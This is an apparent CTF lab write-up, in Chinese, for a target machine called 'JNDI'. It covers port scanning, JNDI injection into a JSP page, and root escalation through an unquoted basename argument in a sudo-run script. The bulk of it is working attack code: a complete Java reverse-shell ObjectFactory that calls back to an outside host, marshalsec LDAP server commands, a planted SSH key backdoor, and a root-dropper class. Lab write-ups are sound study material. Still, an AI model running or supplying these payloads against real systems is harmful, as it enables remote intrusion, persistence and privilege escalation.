

JNDI

靶机: JNDI
作者: S@Ku_yA (QQ: 2312194090)
靶机ID: 620
系统: Linux
难度: Medium

扫描找到四个端口

```
[867ms] [*] 端口开放 192.168.56.102:22  
[948ms] [*] 端口开放 192.168.56.102:80  
[951ms] [*] 端口开放 192.168.56.102:8009  
[983ms] [*] 端口开放 192.168.56.102:8080
```

目录扫出来一个 `http://192.168.56.102:8080/jndi.jsp`，应该是题目入口，打jndi注入，虽然是黑盒，怀疑直接就是把参数填到lookup里去了

本地配的host模式网卡，不出网，懒得调dnslog了，最后用 `javax.naming.spi.ObjectFactory` 打通：

```
import java.io.InputStream;  
import java.io.OutputStream;  
import java.net.Socket;  
import java.util.Hashtable;  
import javax.naming.Context;  
import javax.naming.Name;  
import javax.naming.spi.ObjectFactory;  
  
public class JavaReverseFactory8A implements ObjectFactory {  
    private static boolean launched = false;  
  
    static {  
        launch();  
    }  
  
    @Override  
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,  
        Hashtable<?, ?> environment) {  
        launch();  
        return null;  
    }  
  
    private static synchronized void launch() {  
        if (launched) {
```

```

        return;
    }
    launched = true;
    Thread thread = new Thread(JavaReverseFactory8A::reverse);
    thread.setDaemon(true);
    thread.start();
}

private static void reverse() {
    Socket socket = null;
    Process process = null;
    try {
        socket = new Socket("192.168.56.1", 9999);
        process = new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();

        InputStream processOut = process.getInputStream();
        InputStream socketIn = socket.getInputStream();
        OutputStream processIn = process.getOutputStream();
        OutputStream socketOut = socket.getOutputStream();
        byte[] buffer = new byte[4096];

        while (!socket.isClosed()) {
            while (processOut.available() > 0) {
                int length = processOut.read(buffer);
                if (length > 0) {
                    socketOut.write(buffer, 0, length);
                }
            }

            while (socketIn.available() > 0) {
                int length = socketIn.read(buffer);
                if (length > 0) {
                    processIn.write(buffer, 0, length);
                }
            }

            socketOut.flush();
            processIn.flush();

            try {
                process.exitValue();
                break;
            } catch (Exception ignored) {
            }

            Thread.sleep(50);
        }
    } catch (Exception ignored) {
    } finally {

```

```

        try {
            if (process != null) {
                process.destroy();
            }
        } catch (Exception ignored) {}
    }
    try {
        if (socket != null) {
            socket.close();
        }
    } catch (Exception ignored) {}
}
}
}

```

```
python -m http.server 1234 --bind 192.168.56.1
```

```

javac --release 8 JavaReverseFactory8A.java
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://192.168.56.1:1234/#JavaReverseFactory8A" 13897

```

拿shell:

```

bluebird@JNDI:/home$ cd liz
cd liz
bluebird@JNDI:/home/liz$ ls
ls
{}
user.txt
bluebird@JNDI:/home/liz$ cat user.txt
cat user.txt
flag{ilikeyou,Nozomi}

```

写个公钥后门进去，稳一下shell

```
echo "ssh-rsa
```

```

AAAAB3NzaC1yc2EAAAADAQABAAQDqGKhvtr2I7DqCgIoQD7n0ovhsp1eUsy9WrhRAJSq7N7/z
kDVL8Wbw5Rd/dbPfnKuLJT0uE2uN6zb/+/jU245k3/BhMsHfM2JHH2at5xdzfT1JF62b0DgdNbXL
+60oSZochRktiP/YGDEU3xBwGce/goT14UM34IrJ96KMtpJiJCKF0FbYs/jcRDmaZlodv+xtcFGR
UsNYbMDAt/L991YcQ998BPafUQi9LEFZMMUowmmbmohW/AyRPjrnW/MgpjK6LMreOX5qPKUvxHa
UwRjYyJg645f3ARLYvEEZLGRdpHz7QJ8TtV5aScd0t0f49ccbJu3zT/q0me2cgDf/57xe41YHWYz
l4h7jLtW0JwpbdG9D8jmuGM/zN0LnNoWFJqRGJ3936RM8bmi+SVgaC85pU2JrN2Scv348DoHbbbM
FHYoTQ2Ynm2ATPx0tset8vLfpVGGjdH0iWtc/5xw/A4qQJrE1ZmKEcxt/Hr2FX9VvlySXao2id6V
firamC+702a406y0NBXrrqpQgY0Qed5ybpYSeAdqQEk9y65SHvaG4AckLGisKLM76UiB7ans0DmL
+Lipk0UXB6Y6VD5Xh5H2NJPdDSjp8RFCsV0EYP9F/oLoLvKN+ij/KrPgNDozvJkN5NctVDZhFGYu
Y0xtxa7m2eApn5qiDs0T0dMAq1j3Dw== enen@XiaohaoVictusGamingLaptop" >
~/.ssh/authorized_keys

```

```
(base) └─(root@XiaohaoVictusGamingLaptop)-[/mnt/
└─# strings message.jpg
JFIF
ilikeyouanmuximei(liz)
""""')
(((((((11111111; ; ; ; ; ;GGGGGGSSSSSbbbbbbbbbb
$3br
```

看 `bashhistory`，可以看到比较可疑的 `/opt/java_agent_start.sh` 和 `a.sh`，同时 `opt` 这个目录可以全局写

```
.bash_history X +
[Icons: Refresh, Undo, Redo, Copy, Paste, Find, Zoom In, Zoom Out, Enter, CRLF]
1  ls
2  cd ~
3  ls
4  ls -al
5  sudo -l
6  cat /opt/java_agent_start.sh
7  cat /opt/file/tmp
8  clear
9  /a.sh
10 clear
11 exit
12 exit
13
```

```
liz@JNDI:/usr/message$ sudo -l
[sudo] password for liz:
Matching Defaults entries for liz on JNDI:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User liz may run the following commands on JNDI:
    (ALL) /bin/bash /opt/java_agent_start.sh
```

这个前三行提取tmp的第一行作为后续启动的参数，查了下basename的命令，这里使用basename的时候没有加引号，后面的启动命令里这个 `$file_line` 也没加，tmp又可控，可以直接利用

在tmp前面加上：-a libhprof.so -Djava.ext.dirs=file RootDropper8，拼成
给他拼成：basename -a libhprof.so -Djava.ext.dirs=file RootDropper8，basename

会以空格为界，加上换行符，拼成：`file_line=$'libhprof.so\n-Djava.ext.dirs=file\nRootDropper8'`

最后的启动命令：

```
usr/local/java/jdk1.8.0_20/bin/java \  
-agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/libhprof.so \  
-Djava.ext.dirs=file \  
RootDropper8 \  
test
```

这样把 `-Djava.ext.dirs=file` 作为jvm的新的启动参数， `RootDropper8` 作为新的主类

RootDropper8：

```
import java.io.IOException;  
public class RootDropper8 {  
    static {  
        run();  
    }  
  
    public static void main(String[] args) {  
        run();  
    }  
  
    private static void run() {  
        String[] commands = {  
            "/bin/sh",  
            "-c",  
            "cp /bin/bash /home/bluebird/rootsh"  
        };  
  
        try {  
            new  
ProcessBuilder(commands).redirectErrorStream(true).start().waitFor();  
        } catch (IOException | InterruptedException ignored) {  
            Thread.currentThread().interrupt();  
        }  
    }  
}
```

在tmp后面加上jar，让jvm去解析后面的类：

```
cat /tmp/payload.jar >> /opt/file/tmp
```

